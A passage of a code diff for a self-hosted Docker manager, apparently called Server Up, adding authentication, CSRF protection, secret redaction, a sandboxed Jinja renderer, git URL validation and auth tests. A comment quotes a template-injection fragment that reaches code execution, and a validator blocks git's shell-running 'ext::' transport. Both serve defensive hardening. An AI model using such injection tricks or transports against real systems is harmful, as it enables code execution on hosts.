[a-zA-Z0-9._-] valt, zodat een naam nooit uit zijn basismap kan breken.
"""
name = (name or "").strip()
if not _SAFE_NAME_RE.match(name):
return None
if name in (".", "..") or name.startswith("-"):
return None
return name
def valid_repo_url(url: str) -> bool:
"""Alleen http(s)/ssh/git-URL's en scp-achtige `user@host:pad`-adressen.
Git ondersteunt ook `ext::<commando>`, dat letterlijk een shell-commando
uitvoert, en `file://`, dat lokale paden blootlegt. Beide horen niet thuis
in een URL die een gebruiker via de API mag opgeven.
"""
url = (url or "").strip()
if not url or len(url) > 2048:
return False
if any(c in url for c in ("\n", "\r", "\x00")):
return False
return bool(_URL_SCHEME_RE.match(url) or _SCP_SYNTAX_RE.match(url))
def redact(config: dict) -> dict:
"""Kopie van de config zonder geheimen, geschikt om aan de client te sturen.
Git-tokens worden vervangen door een `has_token`-vlag, zodat de UI kan tonen
dát er een token is zonder de waarde prijs te geven.
"""
out = {k: v for k, v in config.items() if k not in SECRET_KEYS}
for key in ("APP_REPOS", "MODULE_REPOS"):
repos = out.get(key)
if not isinstance(repos, list):
continue
clean = []
for r in repos:
if isinstance(r, dict):
has_token = bool((r.get("token") or "").strip())
r = {k: v for k, v in r.items() if k != "token"}
r["has_token"] = has_token
clean.append(r)
out[key] = clean
return out
def load() -> dict:
_ensure()
cfg = dict(DEFAULTS)
@ -111,8 +182,10 @@ def load() -> dict:
# Auto-reset wizard als LIBRARY_DIR niet bestaat (verse installatie met oud volume)
if cfg.get("WIZARD_DONE") and not Path(cfg["LIBRARY_DIR"]).exists():
cfg["WIZARD_DONE"] = False
for k in DEFAULTS:
if k in os.environ:
# Env-overrides gelden alleen voor eenvoudige waarden; lijsten en objecten
# (APP_REPOS, AUTH, NETWORKS, …) zouden anders een kale string worden.
for k, default in DEFAULTS.items():
if k in os.environ and not isinstance(default, (dict, list)):
cfg[k] = os.environ[k]
# Herhaal veiligheidscheck na env-overrides
for key in ("LIBRARY_DIR", "DATA_DIR", "BACKUP_DIR"):
@ -143,6 +216,9 @@ def save(cfg: dict):
with _lock:
fd, tmp = tempfile.mkstemp(dir=str(_path.parent), suffix=".json")
try:
# De config bevat git-tokens en wachtwoordhashes — alleen leesbaar
# voor de eigenaar. mkstemp geeft al 0600; expliciet is duidelijker.
os.chmod(tmp, 0o600)
with os.fdopen(fd, "w") as f:
json.dump(cfg, f, indent=2)
Path(tmp).replace(_path)

View file

@ -3,40 +3,67 @@ import sqlite3, time, json, os, threading
from pathlib import Path
_db = Path(os.environ.get("SU_AUDIT", "/data/audit.db"))
_local = threading.local()
# Eén gedeelde verbinding achter een lock. Eerder kreeg elke thread een eigen
# thread-local verbinding die nooit gesloten werd; omdat iedere job een nieuwe
# thread start, lekte dat een file descriptor per job.
_conn_obj: sqlite3.Connection | None = None
_lock = threading.Lock()
def init():
_db.parent.mkdir(parents=True, exist_ok=True)
with _conn() as c:
c.execute("""CREATE TABLE IF NOT EXISTS log(
id INTEGER PRIMARY KEY, ts REAL,
src TEXT, action TEXT, status TEXT,
ref TEXT, detail TEXT, ip TEXT)""")
with _lock:
c = _connect()
with c:
c.execute("""CREATE TABLE IF NOT EXISTS log(
id INTEGER PRIMARY KEY, ts REAL,
src TEXT, action TEXT, status TEXT,
ref TEXT, detail TEXT, ip TEXT)""")
def _conn():
if not hasattr(_local, "c") or _local.c is None:
_local.c = sqlite3.connect(str(_db), timeout=5)
_local.c.row_factory = sqlite3.Row
return _local.c
def _connect() -> sqlite3.Connection:
"""Maak (eenmalig) de gedeelde verbinding. Aanroepen onder _lock."""
global _conn_obj
if _conn_obj is None:
_db.parent.mkdir(parents=True, exist_ok=True)
_conn_obj = sqlite3.connect(str(_db), timeout=5, check_same_thread=False)
_conn_obj.row_factory = sqlite3.Row
# WAL laat lezers en schrijvers naast elkaar werken.
_conn_obj.execute("PRAGMA journal_mode=WAL")
return _conn_obj
def close():
"""Sluit de gedeelde verbinding (gebruikt door tests en bij afsluiten)."""
global _conn_obj
with _lock:
if _conn_obj is not None:
try:
_conn_obj.close()
finally:
_conn_obj = None
def log(src: str, action: str, status="ok", ref="", detail=None, ip=""):
d = json.dumps(detail) if isinstance(detail, (dict, list)) else str(detail or "")
try:
with _conn() as c:
c.execute("INSERT INTO log(ts,src,action,status,ref,detail,ip) VALUES(?,?,?,?,?,?,?)",
(time.time(), src, action, status, ref, d, ip))
with _lock:
c = _connect()
with c:
c.execute("INSERT INTO log(ts,src,action,status,ref,detail,ip) "
"VALUES(?,?,?,?,?,?,?)",
(time.time(), src, action, status, ref, d, ip))
except Exception:
pass
def query(limit=100, offset=0) -> list[dict]:
try:
with _conn() as c:
rows = c.execute("SELECT * FROM log ORDER BY ts DESC LIMIT ? OFFSET ?",
(limit, offset)).fetchall()
with _lock:
rows = _connect().execute(
"SELECT * FROM log ORDER BY ts DESC LIMIT ? OFFSET ?",
(limit, offset)).fetchall()
return [dict(r) for r in rows]
except Exception:
return []
@ -44,15 +71,17 @@ def query(limit=100, offset=0) -> list[dict]:
def count() -> int:
try:
with _conn() as c:
return c.execute("SELECT count(*) FROM log").fetchone()[0]
with _lock:
return _connect().execute("SELECT count(*) FROM log").fetchone()[0]
except Exception:
return 0
def clear():
try:
with _conn() as c:
c.execute("DELETE FROM log")
with _lock:
c = _connect()
with c:
c.execute("DELETE FROM log")
except Exception:
pass

295
server-up/core/auth.py Normal file
View file

@ -0,0 +1,295 @@
"""Authenticatie — lokale login (scrypt) + optionele trusted-proxy-header SSO.
Server Up beheert de Docker-daemon als root. Zonder authenticatie is elke
`/api/*`-route gelijk aan root-toegang tot de host. Deze module levert:
* lokale accounts met een scrypt-wachtwoordhash in `config.json`
* een sessiecookie (HttpOnly, SameSite=Strict)
* CSRF-tokens voor alle muterende requests
* optioneel: een identiteit uit een reverse-proxy-header (Authelia/Authentik/
Cloudflare Access), alleen vertrouwd vanaf een geconfigureerd proxy-IP
"""
from __future__ import annotations
import hashlib
import hmac
import ipaddress
import os
import secrets
import threading
import time
from pathlib import Path
from flask import request, session
import core as cfg
# scrypt-parameters. n=2**14 kost ~16 MB per hash — ruim genoeg tegen brute
# force en nog steeds enkele milliseconden op bescheiden hardware.
_N, _R, _P, _DKLEN = 2 ** 14, 8, 1, 32
# Mislukte pogingen per gebruiker: {naam: (aantal, geblokkeerd_tot)}
_FAILS: dict[str, tuple[int, float]] = {}
_FAILS_LOCK = threading.Lock()
_MAX_FAILS = 5
_LOCKOUT_SECONDS = 300
DEFAULT_AUTH = {
"mode": "local", # local | proxy | both
"users": {}, # {naam: {salt, hash}}
"proxy_header": "Remote-User",
"trusted_proxies": [], # IP's of CIDR's die de header mogen zetten
"session_hours": 12,
}
# ── Secret key ───────────────────────────────────────────────────────────────
def _secret_path() -> Path:
"""Losstaand bestand, bewust níét in config.json — dan kan het ook nooit
via `GET /api/settings` naar buiten lekken."""
env = os.environ.get("SU_SECRET")
if env:
return Path(env)
return Path(os.environ.get("SU_CONFIG", "/data/config.json")).parent / "secret.key"
def secret_key() -> bytes:
"""Lees de Flask-SECRET_KEY, of maak er eenmalig een aan (0600)."""
p = _secret_path()
try:
if p.exists():
data = p.read_bytes().strip()
if len(data) >= 32:
return data
except Exception:
pass
key = secrets.token_bytes(48)
try:
p.parent.mkdir(parents=True, exist_ok=True)
# Maak het bestand met 0600 aan vóór er iets in staat.
fd = os.open(str(p), os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
with os.fdopen(fd, "wb") as f:
f.write(key)
except Exception:
# Lukt schrijven niet, dan draaien we met een sleutel in geheugen:
# sessies overleven een herstart dan niet, maar de app blijft veilig.
pass
return key
# ── Wachtwoorden ─────────────────────────────────────────────────────────────
def hash_password(password: str) -> dict:
salt = secrets.token_bytes(16)
dk = hashlib.scrypt(password.encode("utf-8"), salt=salt,
n=_N, r=_R, p=_P, dklen=_DKLEN)
return {"salt": salt.hex(), "hash": dk.hex(), "n": _N, "r": _R, "p": _P}
def verify_password(password: str, record: dict) -> bool:
if not isinstance(record, dict) or not record.get("salt") or not record.get("hash"):
return False
try:
salt = bytes.fromhex(record["salt"])
expected = bytes.fromhex(record["hash"])
dk = hashlib.scrypt(
password.encode("utf-8"), salt=salt,
n=int(record.get("n", _N)), r=int(record.get("r", _R)),
p=int(record.get("p", _P)), dklen=len(expected))
except Exception:
return False
return hmac.compare_digest(dk, expected)
def password_problem(password: str) -> str:
"""Retourneer een foutmelding, of "" als het wachtwoord voldoet."""
if len(password or "") < 10:
return "Wachtwoord moet minstens 10 tekens lang zijn."
if len(password) > 1024:
return "Wachtwoord is te lang."
return ""
# ── Config-helpers ───────────────────────────────────────────────────────────
def settings() -> dict:
a = dict(DEFAULT_AUTH)
stored = cfg.load().get("AUTH")
if isinstance(stored, dict):
a.update(stored)
if not isinstance(a.get("users"), dict):
a["users"] = {}
return a
def _save(auth_cfg: dict):
cfg.patch({"AUTH": auth_cfg})
def users() -> list[str]:
return sorted(settings()["users"].keys())
def needs_setup() -> bool:
"""True zolang er nog geen enkel account bestaat én lokale login actief is."""
a = settings()
if a.get("mode") == "proxy":
return False
return not a["users"]
def create_user(name: str, password: str) -> tuple[bool, str]:
name = (name or "").strip()
if not name or len(name) > 64:
return False, "Ongeldige gebruikersnaam."
problem = password_problem(password)
if problem:
return False, problem
a = settings()
if name in a["users"]:
return False, "Gebruiker bestaat al."
a["users"][name] = hash_password(password)
_save(a)
return True, "Account aangemaakt."
def set_password(name: str, password: str) -> tuple[bool, str]:
problem = password_problem(password)
if problem:
return False, problem
a = settings()
if name not in a["users"]:
return False, "Gebruiker niet gevonden."
a["users"][name] = hash_password(password)
_save(a)
return True, "Wachtwoord gewijzigd."
def delete_user(name: str) -> tuple[bool, str]:
a = settings()
if name not in a["users"]:
return False, "Gebruiker niet gevonden."
if len(a["users"]) == 1 and a.get("mode") != "proxy":
return False, "De laatste gebruiker kan niet verwijderd worden."
del a["users"][name]
_save(a)
return True, "Gebruiker verwijderd."
# ── Lockout ──────────────────────────────────────────────────────────────────
def _locked_for(name: str) -> int:
with _FAILS_LOCK:
count, until = _FAILS.get(name, (0, 0.0))
remaining = int(until - time.time())
return remaining if remaining > 0 else 0
def _record_failure(name: str):
with _FAILS_LOCK:
count, until = _FAILS.get(name, (0, 0.0))
count += 1
if count >= _MAX_FAILS:
_FAILS[name] = (0, time.time() + _LOCKOUT_SECONDS)
else:
_FAILS[name] = (count, until)
def _clear_failures(name: str):
with _FAILS_LOCK:
_FAILS.pop(name, None)
def check_login(name: str, password: str) -> tuple[bool, str]:
"""Controleer inloggegevens. Retourneert (ok, melding)."""
name = (name or "").strip()
wait = _locked_for(name)
if wait:
return False, f"Te veel mislukte pogingen — probeer over {wait} seconden opnieuw."
record = settings()["users"].get(name)
if not record:
# Doe alsnog het rekenwerk, zodat een bestaande gebruikersnaam niet
# verraden wordt door een sneller antwoord.
hash_password(password or "")
_record_failure(name)
return False, "Onjuiste gebruikersnaam of wachtwoord."
if not verify_password(password or "", record):
_record_failure(name)
return False, "Onjuiste gebruikersnaam of wachtwoord."
_clear_failures(name)
return True, "Ingelogd."
# ── Trusted-proxy-header ─────────────────────────────────────────────────────
def _proxy_trusted(remote_addr: str, trusted: list) -> bool:
if not remote_addr or not trusted:
return False
try:
addr = ipaddress.ip_address(remote_addr)
except ValueError:
return False
for entry in trusted:
try:
if addr in ipaddress.ip_network(str(entry), strict=False):
return True
except ValueError:
continue
return False
def proxy_user() -> str | None:
"""Gebruikersnaam uit de reverse-proxy-header, mits die proxy vertrouwd is."""
a = settings()
if a.get("mode") not in ("proxy", "both"):
return None
header = (a.get("proxy_header") or "").strip()
if not header:
return None
if not _proxy_trusted(request.remote_addr or "", a.get("trusted_proxies") or []):
return None
name = (request.headers.get(header) or "").strip()
return name[:64] or None
# ── Sessie ───────────────────────────────────────────────────────────────────
def start_session(name: str, via: str = "local"):
session.clear()
session.permanent = True
session["user"] = name
session["via"] = via
session["csrf"] = secrets.token_urlsafe(32)
def end_session():
session.clear()
def current_user() -> str | None:
"""De ingelogde gebruiker, uit de sessie of uit een vertrouwde proxy-header."""
name = session.get("user")
if name:
return name
name = proxy_user()
if name:
# Geef ook proxy-gebruikers een sessie, zodat er een CSRF-token bestaat.
start_session(name, via="proxy")
return name
return None
def csrf_token() -> str:
token = session.get("csrf")
if not token:
token = secrets.token_urlsafe(32)
session["csrf"] = token
return token
def verify_csrf(supplied: str | None) -> bool:
expected = session.get("csrf")
if not expected or not supplied:
return False
return hmac.compare_digest(str(expected), str(supplied))

View file

@ -147,10 +147,15 @@ def _jinja_env():
global _env
if _env is None:
try:
from jinja2 import Environment, ChainableUndefined
from jinja2 import ChainableUndefined
# Sandboxed: templates komen uit externe git-repo's en worden al
# gerenderd in /api/store/preview, dus vóór een installatie. Een
# gewone Environment laat `<< ''.__class__.__mro__ >>`-trucs toe
# en daarmee code-uitvoering in het app-proces.
from jinja2.sandbox import SandboxedEnvironment
except ImportError as e:
raise BoilerplateError("Jinja2 is required to render boilerplate templates") from e
_env = Environment(
_env = SandboxedEnvironment(
variable_start_string=_VAR_OPEN,
variable_end_string=_VAR_CLOSE,
block_start_string=_BLK_OPEN,

View file

@ -41,6 +41,11 @@ def clone_or_pull(repo: dict, log_fn=None) -> tuple[bool, str]:
url = repo.get("url", "").strip()
if not url:
return False, "Geen URL"
# Vangnet: ook repo's die al in een oude config.json staan mogen geen
# `ext::`- of `file://`-transport gebruiken (ext:: voert een shell uit).
from core import valid_repo_url
if not valid_repo_url(url):
return False, f"Ongeldige of niet-toegestane repo-URL: {url[:80]}"
branch = repo.get("branch", "main")
token = repo.get("token", "").strip()
rid = repo.get("id", "repo")
@ -80,6 +85,25 @@ def clone_or_pull(repo: dict, log_fn=None) -> tuple[bool, str]:
if r.returncode != 0:
return False, safe_output[:200]
# Optioneel vastzetten op een commit. Zo bepaalt de beheerder wanneer
# er nieuwe templates/modulecode binnenkomt, in plaats van de upstream.
pin = (repo.get("commit") or "").strip()
if pin:
if not re.fullmatch(r"[0-9a-fA-F]{7,40}", pin):
return False, f"Ongeldige commit-pin: {pin[:40]}"
fetch = subprocess.run(["git", "fetch", "--depth", "1", "origin", pin],
cwd=str(dest), capture_output=True, text=True,
env=env, timeout=60)
if fetch.returncode != 0 and log_fn:
log_fn(f"fetch {pin}: {fetch.stderr.strip()[:120]}")
co = subprocess.run(["git", "checkout", "--force", pin],
cwd=str(dest), capture_output=True, text=True,
env=env, timeout=60)
if co.returncode != 0:
return False, f"Commit {pin} niet gevonden"
if log_fn:
log_fn(f"Vastgezet op commit {pin}")
return True, "OK"
except subprocess.TimeoutExpired:
return False, "Timeout"

View file

@ -6,6 +6,10 @@ _queues: dict[str, queue.Queue] = {}
_stream_locks: dict[str, threading.Lock] = {}
_lock = threading.Lock()
_TTL = 3600
# Maximaal aantal bewaarde logregels per job. Een `compose pull` van een groot
# image produceert duizenden voortgangsregels; zonder limiet groeit dat
# onbeperkt in het geheugen van het proces.
_MAX_LINES = 2000
def _cleanup():
@ -67,6 +71,13 @@ def stream(jid: str, offset=0) -> dict:
job["lines"].append(item)
except queue.Empty:
break
if len(job["lines"]) > _MAX_LINES:
# Houd de staart; die bevat het resultaat en de eventuele fout.
dropped = len(job["lines"]) - _MAX_LINES
job["lines"] = ([{"level": "dim",
"text": f"{dropped + job.get('dropped', 0)} eerdere regels weggelaten"}]
+ job["lines"][-_MAX_LINES:])
job["dropped"] = dropped + job.get("dropped", 0)
return {"lines": job["lines"][offset:], "status": job["status"]}

View file

@ -1,3 +1,4 @@
flask>=3.0
pyyaml>=6.0
jinja2>=3.1
waitress>=3.0

View file

@ -6,9 +6,11 @@
<title>Server Up</title>
<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🚀</text></svg>">
<link rel="stylesheet" href="/static/fonts/mdi.min.css">
<script src="https://cdn.tailwindcss.com?plugins=forms,typography"></script>
<script defer src="https://unpkg.com/alpinejs@3.14.1/dist/cdn.min.js"></script>
<script src="https://unpkg.com/htmx.org@2.0.3/dist/htmx.min.js"></script>
<!-- Lokaal meegeleverd (zie Dockerfile): geen CDN op runtime, werkt offline
en houdt de Content-Security-Policy op 'self'. -->
<script src="/static/vendor/tailwind.js"></script>
<script defer src="/static/vendor/alpine.min.js"></script>
<script src="/static/vendor/htmx.min.js"></script>
<script>
tailwind.config = {
darkMode: 'class',
@ -44,9 +46,11 @@ tailwind.config = {
}}
}
</script>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
<!-- Geen Google Fonts: dat is een externe request bij elke paginalading. Inter
en JetBrains Mono worden gebruikt als ze lokaal geïnstalleerd zijn, anders
valt de stack terug op de systeemfonts uit tailwind.config. -->
<style>
body { font-family: 'Inter', sans-serif; -webkit-font-smoothing: antialiased; }
body { font-family: 'Inter', system-ui, sans-serif; -webkit-font-smoothing: antialiased; }
[x-cloak] { display: none !important; }
.mdi-spin { animation: mdis 1s linear infinite; display:inline-block; }
@keyframes mdis { to { transform: rotate(360deg); } }
@ -62,6 +66,59 @@ tailwind.config = {
</head>
<body class="bg-bg dark:bg-bg-dark text-tx dark:text-tx-dark text-[15px] h-screen overflow-hidden antialiased">
<!-- ░░ Login / eerste account ░░ -->
<!-- Ligt bovenop alles (z-[90]) tot er een geldige sessie is. De API weigert
ondertussen sowieso elk verzoek met 401, dit is de nette voorkant. -->
<div x-show="auth.ready && !auth.authenticated" x-cloak
class="fixed inset-0 bg-bg dark:bg-bg-dark z-[90] grid place-items-center p-4">
<div class="w-full max-w-[380px] anim">
<div class="flex items-center gap-3 mb-6 justify-center">
<div class="w-11 h-11 rounded-xl bg-gradient-to-br from-ac to-ac2 grid place-items-center shadow-soft text-white text-xl">🚀</div>
<div class="font-extrabold text-xl text-wh dark:text-wh-dark tracking-tight">Server<span class="text-ac dark:text-ac-dark">Up</span></div>
</div>
<div class="card card-pad">
<template x-if="auth.needsSetup">
<div>
<div class="text-base font-extrabold text-wh dark:text-wh-dark mb-1">Eerste account aanmaken</div>
<p class="text-xs text-t2 dark:text-t2-dark mb-4">
Server Up beheert Docker op deze machine. Maak nu een beheerdersaccount aan —
zolang dat niet gebeurd is, kan iedereen die deze pagina bereikt het account claimen.
</p>
<form @submit.prevent="doSetup()" class="grid gap-3">
<div><label class="form-label">Gebruikersnaam</label>
<input class="form-input" x-model="loginForm.username" autocomplete="username" required></div>
<div><label class="form-label">Wachtwoord (min. 10 tekens)</label>
<input type="password" class="form-input" x-model="loginForm.password" autocomplete="new-password" required></div>
<div><label class="form-label">Wachtwoord herhalen</label>
<input type="password" class="form-input" x-model="loginForm.password2" autocomplete="new-password" required></div>
<div x-show="loginForm.error" class="text-xs text-er font-semibold" x-text="loginForm.error"></div>
<button type="submit" class="btn btn-primary w-full" :disabled="loginForm.busy">
<span class="mdi" :class="loginForm.busy ? 'mdi-loading mdi-spin' : 'mdi-account-plus'"></span>Account aanmaken
</button>
</form>
</div>
</template>
<template x-if="!auth.needsSetup">
<div>
<div class="text-base font-extrabold text-wh dark:text-wh-dark mb-4">Inloggen</div>
<form @submit.prevent="doLogin()" class="grid gap-3">
<div><label class="form-label">Gebruikersnaam</label>
<input class="form-input" x-model="loginForm.username" autocomplete="username" required></div>
<div><label class="form-label">Wachtwoord</label>
<input type="password" class="form-input" x-model="loginForm.password" autocomplete="current-password" required></div>
<div x-show="loginForm.error" class="text-xs text-er font-semibold" x-text="loginForm.error"></div>
<button type="submit" class="btn btn-primary w-full" :disabled="loginForm.busy">
<span class="mdi" :class="loginForm.busy ? 'mdi-loading mdi-spin' : 'mdi-login'"></span>Inloggen
</button>
</form>
</div>
</template>
</div>
</div>
</div>
<!-- ░░ Sidebar ░░ -->
<aside class="fixed top-0 bottom-0 left-0 w-[264px] max-w-[86vw] bg-s1 dark:bg-s1-dark border-r border-bd dark:border-bd-dark z-40 flex flex-col transition-transform duration-200 ease-out"
:class="sidebarOpen ? 'translate-x-0' : '-translate-x-full'">
@ -771,7 +828,7 @@ tailwind.config = {
<script>
function app() {
return {
version: '0.4.60',
version: '', // komt van de server (VERSION-bestand), niet hier hardcoden
page: location.hash.slice(1) || 'dashboard',
isMobile: window.innerWidth < 768,
sidebarOpen: window.innerWidth >= 768 && localStorage.getItem('sidebar') !== 'closed',
@ -783,6 +840,13 @@ function app() {
toasts: [],
modal: null,
// Authenticatie. De app-shell wordt pas getoond als auth.authenticated waar
// is; tot die tijd staat het login- of setupscherm ervoor.
auth: { ready: false, authenticated: false, user: '', needsSetup: false, mode: 'local', csrf: '' },
loginForm: { username: '', password: '', password2: '', error: '', busy: false },
users: [], newUser: { username: '', password: '' },
pwForm: { current: '', new: '', new2: '' },
docker: { running: 0, containers: 0, images: 0 },
stacks: [],
stackQuery: '',
@ -834,6 +898,14 @@ function app() {
});
await this.loadLangs();
await this.loadLang(localStorage.getItem('lang') || 'nl');
await this.loadAuth();
if (!this.auth.authenticated) return; // login-/setupscherm neemt het over
await this.startApp();
},
// Alles wat een ingelogde sessie vereist. Wordt ook na een succesvolle
// login aangeroepen, zodat je niet hoeft te herladen.
async startApp() {
await this.checkWizard();
await this.loadDocker();
await this.loadModules();
@ -903,7 +975,7 @@ function app() {
},
async deleteLang(code) {
if (!confirm(this.t('delete_language_confirm') || ('Taal '+code+' verwijderen?'))) return;
const d = await fetch('/api/i18n/'+code, { method:'DELETE' }).then(r=>r.json()).catch(()=>({}));
const d = await this.req('/api/i18n/'+code, { method:'DELETE' });
if (d.ok) {
this.toast(d.msg || this.t('deleted'), 'ok');
if (localStorage.getItem('lang') === code) this.setLang('nl');
@ -916,11 +988,92 @@ function app() {
this.toasts.push({id, msg, kind});
setTimeout(() => this.toasts = this.toasts.filter(t=>t.id!==id), 2500);
},
async rpc(url, body) {
// ── Authenticatie ────────────────────────────────────────────────────────
async loadAuth() {
try {
const o = body !== undefined ? { method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify(body) } : {};
return await (await fetch(url, o)).json();
} catch(e) { return { error: e.message }; }
const d = await (await fetch('/api/auth/me')).json();
this.auth = { ready: true, authenticated: !!d.authenticated, user: d.user || '',
needsSetup: !!d.needs_setup, mode: d.mode || 'local',
csrf: d.csrf_token || '' };
if (d.version) this.version = d.version;
} catch(e) {
this.auth = { ...this.auth, ready: true, authenticated: false };
}
},
async doLogin() {
this.loginForm.error = ''; this.loginForm.busy = true;
const d = await this.req('/api/auth/login', { method:'POST', json: {
username: this.loginForm.username, password: this.loginForm.password } });
this.loginForm.busy = false;
if (!d.ok) { this.loginForm.error = d.msg || 'Inloggen mislukt'; return; }
this.auth.authenticated = true;
this.auth.user = d.user; this.auth.csrf = d.csrf_token || '';
this.loginForm = { username:'', password:'', password2:'', error:'', busy:false };
await this.startApp();
},
async doSetup() {
this.loginForm.error = '';
if (this.loginForm.password !== this.loginForm.password2) {
this.loginForm.error = 'De wachtwoorden komen niet overeen.'; return;
}
this.loginForm.busy = true;
const d = await this.req('/api/auth/setup', { method:'POST', json: {
username: this.loginForm.username, password: this.loginForm.password } });
this.loginForm.busy = false;
if (!d.ok) { this.loginForm.error = d.msg || 'Aanmaken mislukt'; return; }
this.auth.authenticated = true; this.auth.needsSetup = false;
this.auth.user = this.loginForm.username; this.auth.csrf = d.csrf_token || '';
this.loginForm = { username:'', password:'', password2:'', error:'', busy:false };
await this.startApp();
},
async logout() {
await this.req('/api/auth/logout', { method:'POST', json: {} });
this.auth.authenticated = false; this.auth.user = ''; this.auth.csrf = '';
},
async loadUsers() { const d = await this.rpc('/api/auth/users'); this.users = d.users || []; },
async addUser() {
const d = await this.req('/api/auth/users', { method:'POST', json: this.newUser });
this.toast(d.msg || (d.ok ? 'Toegevoegd' : 'Fout'), d.ok ? 'ok' : 'er');
if (d.ok) { this.newUser = { username:'', password:'' }; this.loadUsers(); }
},
async delUser(name) {
if (!confirm('Gebruiker ' + name + ' verwijderen?')) return;
const d = await this.req('/api/auth/users/' + encodeURIComponent(name), { method:'DELETE' });
this.toast(d.msg || (d.ok ? 'Verwijderd' : 'Fout'), d.ok ? 'ok' : 'er');
this.loadUsers();
},
async changePassword() {
if (this.pwForm.new !== this.pwForm.new2) { this.toast('Wachtwoorden komen niet overeen', 'er'); return; }
const d = await this.req('/api/auth/password', { method:'POST', json: {
current: this.pwForm.current, new: this.pwForm.new } });
this.toast(d.msg || (d.ok ? 'Gewijzigd' : 'Fout'), d.ok ? 'ok' : 'er');
if (d.ok) this.pwForm = { current:'', new:'', new2:'' };
},
// Centrale fetch: voegt het CSRF-token toe aan elke mutatie en stuurt de
// gebruiker terug naar het loginscherm zodra de sessie verlopen is.
async req(url, { method = 'GET', json } = {}) {
const opts = { method, headers: {} };
if (json !== undefined) {
opts.headers['Content-Type'] = 'application/json';
opts.body = JSON.stringify(json);
}
if (method !== 'GET' && method !== 'HEAD') {
opts.headers['X-CSRF-Token'] = this.auth.csrf;
}
try {
const r = await fetch(url, opts);
if (r.status === 401) {
this.auth.authenticated = false;
await this.loadAuth();
return { ok: false, msg: 'Sessie verlopen — log opnieuw in' };
}
return await r.json();
} catch(e) { return { ok: false, error: e.message, msg: e.message }; }
},
async rpc(url, body) {
return body !== undefined ? this.req(url, { method:'POST', json: body })
: this.req(url);
},
goto(id) {
@ -978,10 +1131,10 @@ function app() {
this.modal = 'editor';
},
async saveEditor() {
const r = await fetch(`/api/stacks/${encodeURIComponent(this.editor.stack)}/${this.editor.type}`,
{ method:'PUT', headers:{'Content-Type':'application/json'}, body: JSON.stringify({ content: this.editor.content }) });
if (r.ok) { this.toast('Opgeslagen', 'ok'); this.modal=null; }
else this.toast('Fout bij opslaan', 'er');
const d = await this.req(`/api/stacks/${encodeURIComponent(this.editor.stack)}/${this.editor.type}`,
{ method:'PUT', json: { content: this.editor.content } });
if (d.ok) { this.toast('Opgeslagen', 'ok'); this.modal=null; }
else this.toast(d.msg || 'Fout bij opslaan', 'er');
},
async openLogs(name) {
const d = await this.rpc(`/api/stacks/${encodeURIComponent(name)}/logs`);
@ -1005,7 +1158,7 @@ function app() {
async syncAllRepos() { for (const r of this.repos) await this.syncRepo(r.id); },
async deleteRepo(rid) {
if (!confirm('Repository verwijderen?')) return;
await fetch(`/api/repos/${rid}`, { method:'DELETE' });
await this.req(`/api/repos/${encodeURIComponent(rid)}`, { method:'DELETE' });
this.toast('Verwijderd', 'ok');
this.loadAppStore();
},
@ -1113,7 +1266,7 @@ function app() {
if (this.saveTimer) clearTimeout(this.saveTimer);
this.saveTimer = setTimeout(async () => {
const body = { ...this.settings, LANGUAGE: this.settings.LANGUAGE, THEME: this.theme };
await fetch('/api/settings', { method:'PUT', headers:{'Content-Type':'application/json'}, body: JSON.stringify(body) });
await this.req('/api/settings', { method:'PUT', json: body });
this.saved = true; setTimeout(() => this.saved = false, 1500);
}, 400);
},

61
tests/conftest.py Normal file
View file

@ -0,0 +1,61 @@
"""Gedeelde fixtures. Elke test krijgt een eigen /data-map, zodat de suite
nooit de echte config.json, audit-db of git-cache van een draaiende instantie
raakt."""
import importlib
import sys
from pathlib import Path
import pytest
APP_DIR = Path(__file__).resolve().parent.parent / "server-up"
if str(APP_DIR) not in sys.path:
sys.path.insert(0, str(APP_DIR))
@pytest.fixture
def env(tmp_path, monkeypatch):
"""Verse omgeving: config, audit-db, git-cache en secret in tmp_path."""
data = tmp_path / "data"
data.mkdir()
lib = tmp_path / "stacks"
lib.mkdir()
monkeypatch.setenv("SU_CONFIG", str(data / "config.json"))
monkeypatch.setenv("SU_AUDIT", str(data / "audit.db"))
monkeypatch.setenv("SU_GIT_CACHE", str(data / "git"))
monkeypatch.setenv("SU_SECRET", str(data / "secret.key"))
monkeypatch.setenv("LIBRARY_DIR", str(lib))
monkeypatch.setenv("DATA_DIR", str(tmp_path / "appdata"))
monkeypatch.setenv("BACKUP_DIR", str(tmp_path / "backups"))
# Modules opnieuw importeren zodat ze de nieuwe paden oppikken.
for name in list(sys.modules):
if name == "core" or name.startswith("core.") or name == "app":
del sys.modules[name]
core = importlib.import_module("core")
core._path = Path(data / "config.json")
return {"data": data, "lib": lib, "tmp": tmp_path, "core": core}
@pytest.fixture
def client(env, monkeypatch):
"""Flask-testclient met een aangemaakt account en geldige sessie."""
import app as app_module
app_module.app.config["TESTING"] = True
c = app_module.app.test_client()
return c
@pytest.fixture
def anon_client(env):
"""Testclient zonder sessie."""
import app as app_module
app_module.app.config["TESTING"] = True
return app_module.app.test_client()
def login(client, username="tester", password="hunter2hunter2"):
"""Maak het eerste account aan en retourneer het CSRF-token."""
r = client.post("/api/auth/setup",
json={"username": username, "password": password})
assert r.status_code == 200, r.get_json()
return r.get_json()["csrf_token"]

121
tests/test_auth.py Normal file
View file

@ -0,0 +1,121 @@
"""Authenticatie: guard, CSRF, lockout en de trusted-proxy-header."""
import pytest
from conftest import login
def test_api_vereist_login(anon_client):
r = anon_client.get("/api/stacks")
assert r.status_code == 401
assert r.get_json()["needs_setup"] is True
def test_index_en_healthz_zijn_publiek(anon_client):
assert anon_client.get("/healthz").status_code == 200
assert anon_client.get("/").status_code == 200
def test_setup_maakt_account_en_kan_niet_herhaald_worden(anon_client):
login(anon_client)
r = anon_client.post("/api/auth/setup",
json={"username": "tweede", "password": "hunter2hunter2"})
assert r.status_code == 409
def test_setup_weigert_kort_wachtwoord(anon_client):
r = anon_client.post("/api/auth/setup",
json={"username": "tester", "password": "kort"})
assert r.status_code == 400
assert "10 tekens" in r.get_json()["msg"]
def test_login_en_logout(client):
login(client)
client.post("/api/auth/logout", json={},
headers={"X-CSRF-Token": _csrf(client)})
assert client.get("/api/stacks").status_code == 401
